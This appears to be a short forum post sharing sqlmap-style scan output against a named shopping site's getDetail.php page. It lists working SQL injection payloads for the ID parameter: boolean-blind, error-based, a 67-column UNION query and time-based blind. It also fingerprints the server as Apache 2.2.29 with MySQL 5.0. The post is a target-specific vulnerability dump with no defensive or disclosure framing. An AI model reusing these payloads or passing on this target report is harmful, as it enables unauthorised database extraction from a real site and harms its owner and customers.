No replies to this topic

[ASR]

http://www.aquariumconnection.com/twg/getDetail.php?ID=41212

---

Parameter: ID (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: ID=41212' AND 6246=6246 AND 'rhSq'='rhSq



Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Payload: ID=41212' AND (SELECT 2980 FROM(SELECT COUNT(*),CONCAT(0x717a7a7a71,(SELECT (CASE WHEN (2980=2980) THEN 1 ELSE 0 END)),0x7170627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'dWEE'='dWEE



Type: UNION query

Title: MySQL UNION query (NULL) - 67 columns

Payload: ID=-7888' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a7a7a71,0x6a6b45674e466b4a6e48,0x7170627871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#



Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: ID=41212' AND SLEEP(5) AND 'lwYB'='lwYB

---

web application technology: Apache 2.2.29

back-end DBMS: MySQL 5.0